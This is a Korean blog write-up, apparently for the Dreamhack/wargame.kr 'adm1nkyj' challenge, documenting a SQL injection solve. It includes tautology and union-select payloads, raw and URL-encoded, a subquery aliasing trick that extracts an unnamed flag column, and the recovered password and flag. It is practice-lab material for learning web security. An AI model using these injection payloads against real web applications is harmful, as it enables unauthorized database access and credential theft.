[Dreamhack] [wargame.kr] adm1nkyj
초기화면에서 소스코드를 보여준다.

id를 150번 입력하면 초기화가 된다. 음 id와 pw, flag를 모두 GET 방식으로 보내줘야 진짜 flag 값을 획득할 수 있는 것 같다. 그럼 우선 id부터 알아보자.
?id=’ or 1=1 -- -

Hello 2라는 결과를 출력하였다. 위에서 획득한 id가 2번째 컬럼인 것을 확인했다. 그럼 pw를 구해보자. pw의 컬럼을 확인하기 위해 아래와 같이 보냈다.
?id=%27%20union%20select%201%2C&pw=%2C2%2C3%2C4;%20--%20-

컬럼은 xPw4coaa1sslfe= 임을 확인했고 이것을 이용하여 pw를 구하면
?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&pw=%2C3%2C4;%20--%20-
pw가 !@SA#$! 임을 알 수 있다.
flag값만 찾으면 되는데 flag는 컬럼의 이름을 모르기 때문에 서브쿼리를 이용해서 구해야 한다. 우선 id는 ’‘으로 아무런 값도 넣지 않고 union보다 from(서브쿼리) 서브쿼리부터 실행시켜 select 1,2,3,4 as a,5으로 [1][2][3][a][5] 컬럼(4 as a를 통해 a가 됌.)을 갖고 union으로 findflag_2결과값들이 [1][2][3][4][5] 들어가고 limit 1,1로 자료를 받는다.(limit는 0부터 시작하므로 limit 시작위치, 반환갯수) as a를 첫 번째 컬럼을 시작으로 바꿔주면서 네 번째 컬럼에 왔을 때 flag값을 받을 수 있었다.
url인코딩 전 코드는 이렇다.
?id=' union select 1,a,3,4,5 from (select 1,2,3,4 as a,5 union select * from findflag_2 limit 1,1) as a %23 |
?id=%27%20union%20select%201,a,3,4,5%20from%20(select%201,2,3,4%20as%20a,5%20union%20select%20*%20from%20findflag_2%20limit%201,1)%20as%20a%20%23
id와 pw, flag를 얻었으니 그대로 보내보자. 그런데 그대로 입력해서 보내면 아무것도 출력해주지 않는다. 왜일까 생각을 해보니 pw에 !#$가 포함된다. 인식시키기 위해서 !#$을 url 인코딩하고 pw에 넣으면 아래와 같다.
?id=adm1ngnngn&pw=%21@SA%23%24%21&flag=N4wxpthJf7GmHXQ9oBZTvCdu5e3DnIUVl2biLsKgEYMrO8j0RFWaPSkcAy16zq
flag값을 획득했다.
'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글
[Dreamhack] crawling (0) | 2023.01.26 |
---|---|
[Dreamhack] login-1 (0) | 2023.01.25 |
[Dreamhack] weblog-1 (0) | 2023.01.23 |
[Dreamhack] Tomcat Manager (0) | 2023.01.22 |
[Dreamhack] Apache htaccess (0) | 2023.01.11 |